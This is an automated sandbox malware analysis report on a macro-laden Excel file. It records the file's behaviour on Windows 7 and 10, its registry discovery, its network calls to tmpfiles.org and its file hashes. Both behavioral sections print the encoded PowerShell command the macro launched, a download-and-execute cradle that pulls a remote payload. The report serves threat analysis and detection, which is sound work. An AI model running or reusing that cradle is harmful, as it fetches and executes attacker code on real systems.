Malware Analysis Report

2025-03-15 07:56

Sample ID 240808-1rhk4azhjr
Target 11b2665666514aa7b3d0750d1e0801c8ab6c14087f1143316234525196e13bb6
SHA256 11b2665666514aa7b3d0750d1e0801c8ab6c14087f1143316234525196e13bb6
Tags
macro macro_on_action discovery
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

11b2665666514aa7b3d0750d1e0801c8ab6c14087f1143316234525196e13bb6

Threat Level: Known bad

The file 11b2665666514aa7b3d0750d1e0801c8ab6c14087f1143316234525196e13bb6 was found to be: Known bad.

Malicious Activity Summary

macro macro_on_action discovery

Process spawned unexpected child process

Blocklisted process makes network request

Suspicious Office macro

Office macro that triggers on suspicious action

Deletes itself

System Location Discovery: System Language Discovery

Office loads VBA resources, possible macro or embedded object present

Suspicious use of WriteProcessMemory

Enumerates system info in registry

Suspicious behavior: AddClipboardFormatListener

NTFS ADS

Suspicious behavior: EnumeratesProcesses

Suspicious behavior: RenamesItself

Checks processor information in registry

Suspicious use of SetWindowsHookEx

Suspicious use of AdjustPrivilegeToken

Suspicious use of FindShellTrayWindow

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-08-08 21:52

Signatures

Office macro that triggers on suspicious action

macro macro_on_action
Description Indicator Process Target
N/A N/A N/A N/A

Suspicious Office macro

macro
Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-08-08 21:52

Reported

2024-08-08 21:53

Platform

win7-20240705-en

Max time kernel

24s

Max time network

17s

Command Line

"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\11b2665666514aa7b3d0750d1e0801c8ab6c14087f1143316234525196e13bb6.xls

Signatures

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Deletes itself

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Office loads VBA resources, possible macro or embedded object present

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A

NTFS ADS

Description Indicator Process Target
File created C:\Users\Admin\AppData\Local\Temp\40677F00\:Zone.Identifier:$DATA C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious behavior: RenamesItself

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE

"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\11b2665666514aa7b3d0750d1e0801c8ab6c14087f1143316234525196e13bb6.xls

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwB0AG0AcABmAGkAbABlAHMALgBvAHIAZwAvAGQAbAAvADEAMAA4ADEAMwA3ADkANAAvAGUAeABwAGwAbwBpAHQALgBqAHAAZwAnACkAOwBvAGEAdwBuAGQAdQBhAHcAZABuAG4AaABuADkAMgA4ADMAaAAxADkAMgAxAG4AYQB3AG8AZABhAG4AZgBpAGEAdwBiAGQAbgBpAHUAZgBiAG4AYQBpAGQAdwB1AGEAaQBmAHUAYQBiAGkAdQBmAGIAYQBpAHUAZABiAGgAagBhAHcAZABiAGEAZgBoAGoA""

Network

Country Destination Domain Proto
US 8.8.8.8:53 tmpfiles.org udp
US 172.67.195.247:443 tmpfiles.org tcp

Files

memory/2708-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

memory/2708-1-0x00000000726FD000-0x0000000072708000-memory.dmp

memory/2708-2-0x0000000000390000-0x0000000000490000-memory.dmp

memory/2708-6-0x0000000000390000-0x0000000000490000-memory.dmp

memory/2708-7-0x0000000000390000-0x0000000000490000-memory.dmp

memory/2708-5-0x0000000000390000-0x0000000000490000-memory.dmp

memory/2708-4-0x0000000000390000-0x0000000000490000-memory.dmp

memory/2708-3-0x0000000000390000-0x0000000000490000-memory.dmp

memory/2708-15-0x00000000726FD000-0x0000000072708000-memory.dmp

memory/2708-16-0x0000000000390000-0x0000000000490000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-08-08 21:52

Reported

2024-08-08 21:54

Platform

win10v2004-20240802-en

Max time kernel

56s

Max time network

39s

Command Line

"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\11b2665666514aa7b3d0750d1e0801c8ab6c14087f1143316234525196e13bb6.xls"

Signatures

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Office macro that triggers on suspicious action

macro macro_on_action
Description Indicator Process Target
N/A N/A N/A N/A

Deletes itself

Description Indicator Process Target
N/A N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Checks processor information in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

NTFS ADS

Description Indicator Process Target
File created C:\Users\Admin\AppData\Local\Temp\3AA75E00\:Zone.Identifier:$DATA C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
N/A N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Processes

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE

"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\11b2665666514aa7b3d0750d1e0801c8ab6c14087f1143316234525196e13bb6.xls"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwB0AG0AcABmAGkAbABlAHMALgBvAHIAZwAvAGQAbAAvADEAMAA4ADEAMwA3ADkANAAvAGUAeABwAGwAbwBpAHQALgBqAHAAZwAnACkAOwBvAGEAdwBuAGQAdQBhAHcAZABuAG4AaABuADkAMgA4ADMAaAAxADkAMgAxAG4AYQB3AG8AZABhAG4AZgBpAGEAdwBiAGQAbgBpAHUAZgBiAG4AYQBpAGQAdwB1AGEAaQBmAHUAYQBiAGkAdQBmAGIAYQBpAHUAZABiAGgAagBhAHcAZABiAGEAZgBoAGoA""

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 g.bing.com udp
US 8.8.8.8:53 97.32.109.52.in-addr.arpa udp
US 8.8.8.8:53 tmpfiles.org udp
US 8.8.8.8:53 67.31.126.40.in-addr.arpa udp
US 172.67.195.247:443 tmpfiles.org tcp
US 204.79.197.237:443 g.bing.com tcp
US 8.8.8.8:53 247.195.67.172.in-addr.arpa udp
US 8.8.8.8:53 237.197.79.204.in-addr.arpa udp
US 8.8.8.8:53 94.65.42.20.in-addr.arpa udp
US 8.8.8.8:53 205.47.74.20.in-addr.arpa udp
US 8.8.8.8:53 157.123.68.40.in-addr.arpa udp
US 8.8.8.8:53 83.210.23.2.in-addr.arpa udp
US 8.8.8.8:53 206.23.85.13.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp

Files

memory/4596-2-0x00007FFC3AF70000-0x00007FFC3AF80000-memory.dmp

memory/4596-1-0x00007FFC3AF70000-0x00007FFC3AF80000-memory.dmp

memory/4596-0-0x00007FFC3AF70000-0x00007FFC3AF80000-memory.dmp

memory/4596-3-0x00007FFC7AF8D000-0x00007FFC7AF8E000-memory.dmp

memory/4596-4-0x00007FFC3AF70000-0x00007FFC3AF80000-memory.dmp

memory/4596-5-0x00007FFC3AF70000-0x00007FFC3AF80000-memory.dmp

memory/4596-8-0x00007FFC7AEF0000-0x00007FFC7B0E5000-memory.dmp

memory/4596-10-0x00007FFC7AEF0000-0x00007FFC7B0E5000-memory.dmp

memory/4596-9-0x00007FFC7AEF0000-0x00007FFC7B0E5000-memory.dmp

memory/4596-11-0x00007FFC7AEF0000-0x00007FFC7B0E5000-memory.dmp

memory/4596-12-0x00007FFC38900000-0x00007FFC38910000-memory.dmp

memory/4596-7-0x00007FFC7AEF0000-0x00007FFC7B0E5000-memory.dmp

memory/4596-13-0x00007FFC7AEF0000-0x00007FFC7B0E5000-memory.dmp

memory/4596-14-0x00007FFC38900000-0x00007FFC38910000-memory.dmp

memory/4596-6-0x00007FFC7AEF0000-0x00007FFC7B0E5000-memory.dmp

memory/4596-15-0x00007FFC7AEF0000-0x00007FFC7B0E5000-memory.dmp

memory/4596-18-0x00007FFC7AEF0000-0x00007FFC7B0E5000-memory.dmp

memory/4596-16-0x00007FFC7AEF0000-0x00007FFC7B0E5000-memory.dmp

memory/4596-17-0x00007FFC7AEF0000-0x00007FFC7B0E5000-memory.dmp

memory/4596-20-0x00007FFC7AEF0000-0x00007FFC7B0E5000-memory.dmp

memory/4596-21-0x00007FFC7AEF0000-0x00007FFC7B0E5000-memory.dmp

memory/4596-19-0x00007FFC7AEF0000-0x00007FFC7B0E5000-memory.dmp

memory/4596-49-0x00007FFC7AEF0000-0x00007FFC7B0E5000-memory.dmp

memory/4596-48-0x00007FFC7AEF0000-0x00007FFC7B0E5000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_g3ypa330.0yc.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/1836-61-0x000002DDD7C60000-0x000002DDD7C82000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\11b2665666514aa7b3d0750d1e0801c8ab6c14087f1143316234525196e13bb6.xls

MD5 54cd6ba9b11ddcece8da45294edb7570
SHA1 395e7a60fa0637066ade01c6002e0a5af7dd2192
SHA256 1aeabe603f02d1047fe517fef89e45a25b45e325d4ab48b4191887c5a92873de
SHA512 e10c1b4a576b2021d5bb7a7b8af2ed4c17102352b5b08b17475a66326d2e6607201a41380459c041863710a6841d166767735a7e5a21e84744b32206c46d25aa

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

MD5 1a7515ea5d59fb15be75ece44cdd4984
SHA1 106920789841514aa38b6c3a8be83eaef1ad787c
SHA256 028113a4ec42195e72b22983ac24dc70666afd56808c2216692319649d39e548
SHA512 8adca5963865008d59714fec33831087e0459bcd67361b193301a2c8a1faf4c47323be355757b5b19e2be82d2e26b5b7a57a1a3b8181de63615e8af097b0b967

memory/4596-86-0x00007FFC7AEF0000-0x00007FFC7B0E5000-memory.dmp

memory/4596-87-0x00007FFC7AEF0000-0x00007FFC7B0E5000-memory.dmp